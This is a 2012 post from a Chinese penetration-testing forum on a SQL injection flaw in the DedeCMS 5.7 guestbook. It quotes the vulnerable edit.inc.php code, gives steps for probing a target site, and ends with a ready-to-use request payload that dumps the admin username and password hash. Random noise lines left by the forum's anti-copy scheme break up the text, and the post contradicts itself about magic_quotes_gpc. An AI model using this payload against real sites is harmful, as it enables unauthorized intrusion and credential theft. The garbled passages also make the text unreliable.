中国网络渗透测试联盟
标题:
dedecms5.7最新sql注射漏洞利用 guestbook.php
[打印本页]
作者:
admin
时间:
2012-11-13 13:24
标题:
dedecms5.7最新sql注射漏洞利用 guestbook.php
影响版本为5.7
7 ?% S1 @; z3 h, m
! a- K' R' ^. b- E9 Z
漏洞文件edit.inc.php具体代码:
1 a: o" J5 l$ k; o1 u. g, x+ p
+ L( q. M& W& U
< ?php
: S3 ]* P+ `4 [# v
( ?$ v2 O2 R0 X" Y# O" f
if(!defined('DEDEINC')) exit('Request Error!');
9 j0 k2 N, P% C
8 a! ^5 K0 T {
3 l+ [. E1 ?+ |8 o2 \. t: R) Y( |
6 ^: Q2 V; p, H
if(!empty($_COOKIE['GUEST_BOOK_POS'])) $GUEST_BOOK_POS = $_COOKIE['GUEST_BOOK_POS'];
9 K% z \1 o1 Y# T2 a# t
% ]5 `" @7 @; c# O. G# W0 p
else $GUEST_BOOK_POS = "guestbook.php";
1 F/ ]4 [% A+ Q! E2 G1 i& P
) n5 D5 ^; ~: j$ T7 j, b
r" a" m% {4 W8 J0 D& J+ a
- b- n1 m X* h; \4 _
$id = intval($id);
9 B8 \+ b2 t3 P; n" {2 A
3 P6 ?8 Z0 \0 B' Y9 J
if(empty($job)) $job='view';
& u1 f+ i- E. ?) x% y
- Y2 r" O4 H } i- i8 r3 c; D
0 R& B. y+ h5 ]/ A1 N7 Z
3 h2 Z1 b0 T0 a/ E" a F r" v
if($job=='del' && $g_isadmin)
. P5 D& s$ z: K: G2 {, ?& ]% E
9 E" R9 v0 v6 W/ v/ ~! |
{
9 H1 v. }8 f2 `0 y( h& j
D" ?; ?3 ]3 l l7 G
$dsql->ExecuteNoneQuery(" DELETE FROM `#@__guestbook` WHERE id='$id' ");
t+ T2 w0 h$ r" J* B6 w
- o2 ]6 g7 B; H2 h" N8 @, J, ^, D
ShowMsg("成功删除一条留言!", $GUEST_BOOK_POS);
6 z" O+ I! x1 h9 u
4 i0 G3 X% Q; R) n
exit();
3 P5 q9 T3 ?0 }$ n
+ [2 G' u6 E- w9 {2 i
}
/ h% `3 R/ _ H, D
" M( q5 [4 m |+ V& M' P
else if($job=='check' && $g_isadmin)
8 ~! f$ W1 W1 {. O: J& ]) F4 x; g
8 A( b7 H, i3 J& M9 d2 Y' f3 y' z
{
( `( X1 B5 {# i: k$ r
8 F( y3 E: ^6 J; t+ L
$dsql->ExecuteNoneQuery(" UPDATE `#@__guestbook` SET ischeck=1 WHERE id='$id' ");
1 `5 ]/ Y3 g7 l- r
# I2 U1 t) e; m+ k7 d
ShowMsg("成功审核一条留言!", $GUEST_BOOK_POS);
5 v! o# h/ x% W: A9 v2 ^* g
; {6 v$ k( p3 b2 b+ |) p3 O
exit();
* N% e# h7 ?3 m2 G; f- }: t3 b% H
4 K; C# ?2 L4 y0 o7 H1 a3 \
}
' O g/ S( u+ i" h d
7 Z3 C" Z( E! n; i! W5 Y
else if($job=='editok')
; e. Q- ^! Z; S, p/ ^
; F% T; t% u* K3 w; a; Z: r
{
6 l8 s% @$ `' O1 Z
/ v2 K! ^! I) J1 R0 T+ ~5 F
$remsg = trim($remsg);
) I$ r; R3 ~2 q# f' Q9 N7 [
6 g5 {1 h* b0 u! y: X/ R" I
if($remsg!='')
5 l" Y5 o/ ]1 x5 P$ e
4 G: Q- u0 p4 l# V, j
{
8 T6 D2 R1 i& @6 @* T' M
3 l8 p7 q$ [3 _5 @. N
//管理员回复不过滤HTML By:Errorera blog:errs.cc
/ @) M* D; E, c2 o
7 b: C- ^7 d: |# A( I, N8 v
if($g_isadmin)
" d; I8 W5 N. }7 Z' r! v
# w& h" C i& @/ o R/ r
{
9 t6 m5 k* ~% ?& c
) `( L$ t( y+ E1 y# g* k
$msg = "<div class='rebox'>".$msg."</div>\n".$remsg;
4 Y7 s3 P$ ?6 m
4 c1 _3 `5 R: b- u% K
//$remsg <br /><font color=red>管理员回复:</font> }
- {5 \5 L1 ~8 E6 i7 B2 ]0 b/ o" N
- p: i' G8 K8 ~2 }
else
I# m; }/ T7 {& H+ E, b7 h
: ]* M. v# \7 ~9 g5 c( [2 D' c
{
3 \3 K" m1 B8 ?. t' g2 X
& \7 U6 U) B4 w. u; }: X* A
$row = $dsql->GetOne("SELECT msg From `#@__guestbook` WHERE id='$id' ");
7 H0 [& K# B v& l! b( H4 H' E
( c) @5 q) i* n# L$ b
$oldmsg = "<div class='rebox'>".addslashes($row['msg'])."</div>\n";
]- f- s9 \; q+ w/ y
) d) d+ K/ y" D R1 ^$ f3 _# j
$remsg = trimMsg(cn_substrR($remsg, 1024), 1);
8 C, F+ J% o$ t' \2 U
6 r* k% ]' y" g( e
$msg = $oldmsg.$remsg;
' [. j5 m- C- @# {% [) l
+ Y0 X* S) d! e4 O- R+ Z- z9 d
}
) M3 w( z0 q! Y8 g6 z$ J b6 [
9 }. ~3 O5 ~+ ?" P# a
}
8 R% a, q4 j ]6 ?# k" C0 c
0 {( u9 Z1 L# n% w9 S
//这里没有对$msg过滤,导致可以任意注入了By:Errorera home:
www.errs.cc
) [6 c6 C( K/ S( T8 U! I7 l9 A- w
$ u& {2 Z8 F |" y' o1 D2 t
$dsql->ExecuteNoneQuery("UPDATE `#@__guestbook` SET `msg`='$msg', `posttime`='".time()."' WHERE id='$id' ");
2 p0 B4 ]9 |& L' V8 Q
, a5 N u& q: F/ h+ f% [+ H7 u
ShowMsg("成功更改或回复一条留言!", $GUEST_BOOK_POS);
: J6 K" ^4 C. `% L) j3 O( {
& I( {! F8 }4 r% U4 g" l5 W6 H
exit();
4 u/ Q: F: G% P9 r* `& J# f) Q
7 g& e, w. s, [
}
5 {' r$ }3 w' v/ O; N
. Y+ M( O4 Q0 g7 e( F
//home:
www.errs.cc
7 O( s8 `. a, z2 D0 B) @. w! t
" s$ b2 n( D' s5 I; U$ G1 W
if($g_isadmin)
. E( w# T" T! q% C! K
) ]% x% G% K# F
{
! j4 e8 \8 M3 P
# t1 n3 y: x/ v
$row = $dsql->GetOne("SELECT * FROM `#@__guestbook` WHERE id='$id'");
; S, q1 b+ N! m* c+ H Z
; ?4 J7 a; {9 n/ C
require_once(DEDETEMPLATE.'/plus/guestbook-admin.htm');
2 p" T& I- z9 [1 Q! g
$ g' ?* |* ^$ d9 q' v
}
3 b& K7 T) D* N% U8 m5 Y
+ J8 O+ [* E# w* ], \! R
else
- h% q0 P# j% Y- `0 K1 G7 W
# [' \' v9 e( r8 {, i
{
" \; `! }5 L$ g5 y( Z8 n9 O
$ m0 Y* g9 g" I( o
$row = $dsql->GetOne("SELECT id,title FROM `#@__guestbook` WHERE id='$id'");
6 Q$ R7 q0 g4 Z5 y- H
% E% Q8 n) v8 m( l7 G
require_once(DEDETEMPLATE.'/plus/guestbook-user.htm');
7 T/ D/ M# V% a3 K& _- j3 z& A9 N
3 t) I0 f0 H8 f' L- F. G
} 漏洞成功需要条件:
! f* v) b4 u8 t! w
1. php magic_quotes_gpc=off
# g2 g( F; |! I! G0 [# l' ~: L% Z
2.漏洞文件存在 plus/guestbook.php dede_guestbook 表当然也要存在。
% z4 m5 i$ ?( J5 J
* l w- t0 H7 `8 q5 T3 y
怎么判断是否存在漏洞:
5 H4 p: `& v" q, Y4 c: d2 y" k
先打开
www.xxx.com/plus/guestbook.php
可以看到别人的留言,
" e9 E$ L/ T& B2 j! i( x, h
然后鼠标放在 [回复/编辑] 上 可以看到别人留言的ID。那么记下ID
, ?( R& ?, B* ]8 ?" ^' {6 n5 o
访问:
# k! r8 t( Y- Q8 Y/ L7 }! ]; l
# k* t5 k9 e/ x+ }& O% ?. T9 `
www.xxx.com/plus/guestbook.php?a ... tok&msg=errs.cc
存在的留言ID提交后如果是dede5.7版本的话 会出现 “成功更改或回复一条留言” 那就证明修改成功了
0 ]' q! D. H! i/ r$ [0 I. N+ _! \, y; v
跳回到
www.xxx.com/plus/guestbook.php
看下你改的那条留言ID是否变成了 errs.cc’ 如果变成了 那么证
% a1 g) ~7 ]: i, S" |7 X
. |6 A0 w5 A7 z
+ m! v; t0 F; n o3 B: V
明漏洞无法利用应为他开启了 php magic_quotes_gpc=off
+ Q' |- R4 x6 {+ F4 @5 X
如果没有修改成功,那留言ID的内容还是以前的 那就证明漏洞可以利用。
- @6 w' A2 o, x
那么再次访问
( F0 a: }& B( k
9 w8 s- f8 i+ e! d2 L4 b: j4 N1 _% L
www.xxx.com/plus/guestbook.php?a ... ;job=editok&id=
存在的留言ID&msg=',msg=user(),email='然后返回,那条留言ID的内容就直接修改成了mysql 的user().
8 V* ?$ I; Q' ]
( {- c( D' B9 \+ a5 s" H2 ?: m
大概利用就是这样,大家有兴趣的多研究下!!
+ V' D4 A. O4 |: c, l
% v2 f' J, `, C: H
最后补充下,估计有人会说怎么暴管理后台帐户密码,你自己研究下 会知道的。反正绝对可以暴出来(不可以暴出来我就不会发)!!
1 {* r6 n, V- `* t- @& b" C
0 s4 T. F9 ]; W0 J+ q' D
view sourceprint?1 /plus/guestbook.php?action=admin&job=editok&id=146&msg=',msg=@`'`,msg=(selecT CONCAT(userid,0x7c,pwd) fRom `%23@__admin` LIMIT 0,1),email='
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2